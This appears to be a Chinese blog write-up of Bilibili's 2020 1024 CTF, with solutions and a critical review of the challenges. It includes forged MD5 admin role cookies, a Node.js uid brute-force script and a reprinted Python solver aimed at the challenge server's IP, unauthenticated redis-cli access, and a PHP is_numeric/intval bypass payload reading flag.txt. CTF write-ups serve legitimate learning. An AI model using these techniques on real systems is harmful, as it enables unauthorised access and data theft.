0#简介
今天是1024程序员节,也是全球极客安全节,在这里也祝各位师傅们节日快乐!
B站也推出了“程序员创造世界”的主题活动,同时,也推出了哔哩哔哩1024CTF的挑战页面,大家一边看着GeekPwn极棒大会一边开开心心地做起了题目,,,
活动地址:https://www.bilibili.com/blackboard/activity-20201024.html
1024CTF地址:https://security.bilibili.com/sec1024/
1#第一题:页面的背后是什么?
直接在网页源代码<input>中找到flag 1
2#第二题:真正的秘密只有特殊的设备才能看到
将浏览器UA改成bilibili Security Browser
使用诸如hackbar等浏览器插件,修改user-agent为bilibili Security Browser访问,即可得到flag 2
3#第三题:密码是啥?
这一题算是弱口令吧,账号密码分别是admin和bilibili
忍不住都想吐槽一下了,这算是啥CTF,不用社工啥的,就这样靠硬猜?!有些人刷了半天字典也没搞出来,,,
登录即可弹出flag 3
4#第四题:对不起,权限不足~
这道题的原理就是更改cookie,将Administrator用MD5算法加密后替换role的值即可(模拟管理员权限)
然后Burp一把梭即可拿到flag
5#第五题:别人的秘密
这道题是穷举,先更改cookie,将Administrator用MD5算法加密后替换role的值
然后在elements里面存在for (var uid = 100336889;uid <100336999;uid++),写个脚本跑一下进行了(暴力破解uid)
const http = require('http'); async function get(hostname, path) { return new Promise((resolve, reject) => { const req = http.request( { hostname, path, method: 'GET' }, (res) => { const body = []; res.on('data', (chunk) => { body.push(chunk); }); res.on('end', () => { try { resolve(Buffer.concat(body).toString()); } catch (e) { reject(e); } }); req.on('error', (err) => { reject(err); }); } ); req.setHeader('Cookie', 'session=你的 Session') req.end(); }); } (async () => { const ip = '45.113.201.36'; //靶机的 IP 变动,流量太大被刷死了 let uid = 100336889; while (true) { const res = await get(ip, `/api/ctf/5?uid=${uid++}`); if (JSON.parse(res).code === 200) { console.log(uid, res); break; } } })();
6#第六题:结束亦是开始
就是一个类似博客的页面,文章标题、内容、分类、标签全部都是null,评论框是用 HTML5 表单做的、什么都不能提交。当时人都看傻了,,,
刚开始以为是SQL注入,然后拿着SQLmap搞了一晚上没有搞出来,,,
后来问了一些大佬,是一个脑洞超级大的题,也没啥意思
8#第八题:连接假的Redis
直接Linux用redis进去get flag,命令行如下
C.S.W Team@debian:~$ redis-cli -h 120.92.151.189 -p 6379 120.92.151.189:6397> keys flag8 120.92.151.189:6397> get flag8 "flag8内容回显""10#第十题:JSF*uk
入口靠目录爆破,然后用工具爆破成功,这个大家都会吧
直接访问 /test.php,是个 JSFuck,直接丢进 Console
程序员最多的地方???不会就是GitHub吧?那bilibili1024havefun是啥意思???
不会是让你去 GitHub 上搜索 bilibili1024havefun吧?还真找到这个仓库 interesting-1024/end:https://github.com/interesting-1024/end
<?php //filename end.php $bilibili = "bilibili1024havefun"; $str = intval($_GET['id']); $reg = preg_match('/\d/is', $_GET['id']); if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){ $content = file_get_contents($_GET['url']); //文件路径猜解 if (false){ echo "还差一点点啦~"; }else{ echo $flag; } }else{ echo "你想要的不在这儿~"; } ?>看这源代码,发现是在 /blog/end.php 里,构建 Payload 以获取 Flag。
这道题考察的是 is_numeric 和 intval 如何绕过、以及 $_GET 的一些脑洞。
最后发现 Payload 是:
/blog/end.php?id[]=x&id[]=0.1&url=./flag.txtEnd#总结
都写到这里,总结一下我们的感受吧~
感觉这个BiliBili2020年的CTF的确太水了,很多地方根本算不上CTF,只能算是一个娱乐向的小游戏罢了,复盘根本就没有必要,也没有某些人说的那么好。
第一题可以算是签到题吧,没什么好说的;但第二题修改浏览器UA,就是对之前某些成名CTF非常拙劣的模仿;而第三题就根本不算是CTF,和CTF想要考察选手渗透、社工的技能背道而驰,密码也纯粹靠猜;第四题更是让人火大,可以看出出题人的前端知识和能力基本为零,使用从 CSDN 上抄来的 URL 参数解析代码,却不知道 JavaScript 中 unescape 不能处理非 ASCII 字符,让人汗颜;第五题中还含含糊糊,根本就是让做题人找不到切入点,完全不知道要干什么,脑洞的确蛮大的,uid这么大?!服务器都被刷爆好几次了;第八题也不想吐槽了,建了一个未设防 Redis 题,本来可以深入考察做题人 Get shell、提权相关能力的,结果直接来个get flag8就好了???;第十题让人get不到点,构建完能绕过 is_numeric 和 intval 的 Payload 后,还要猜测 url 参数的取值需要包含 flag.txt 才能取到最终的 flag,拿到图片直接就能拿到 flag,根本没有放上典型的图片隐写,那到底考察做题人啥?
用别人的话说:就这些题还声称要招安全岗,好歹也请人好好编个题吧
这次活动后,感觉是比较失望的,希望bilibili下一次的CTF能不要这么离谱一点,刚办这场活动,还是说是准备不充分可以理解一下。
##番外
我们看看其他人都有什么骚操作吧~
这个神操作,,,刚开始我也是惊了,事实证明这操作不行,只能拿到flag8,其他都是别人填充上去的。没啥卵用
还看到一位群友在我的群“CTF白菜组”里面发了一个Python脚本,也是NB的不行,源代码如下
import requests import json import os def get_1(): headers = { 'User-Agent': 'bilibili Security Browser', 'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee' } response = requests.get('http://45.113.201.36/api/admin', headers=headers).json() print('第1题答案是:', response['data']) def get_2(): headers = { 'User-Agent': 'bilibili Security Browser', 'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee' } response = requests.get('http://45.113.201.36/api/ctf/2', headers=headers).json() print('第2题答案是:', response['data']) def get_3(): headers = { 'User-Agent': 'bilibili Security Browser', 'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee', 'Content-Type': 'application/json' } data = { "username": "admin", "passwd": "bilibili" } response = requests.post('http://45.113.201.36/api/ctf/3', headers=headers, data=json.dumps(data)).json() print('第3题答案是:', response['data']) def get_4(): headers ={ 'User-Agent': 'bilibili Security Browser', 'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b' } response = requests.get('http://45.113.201.36/api/ctf/4', headers=headers).json() print('第4题答案是:', response['data']) def get_5(): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0', 'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee', 'Referer': 'http://45.113.201.36/user.html' } for i in range(100336850, 100336980): response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers=headers).json() #100336973 if response['data'] != '': print('第5题答案是:', response['data']) if __name__ == '__main__': tips = ''' bilibili 1024 flag获取器 填入session直接拿到1-5题flag ''' print(tips) session = input('填入你的session:') get_1() get_2() get_3() get_4() get_5() os.system('pause')
发表评论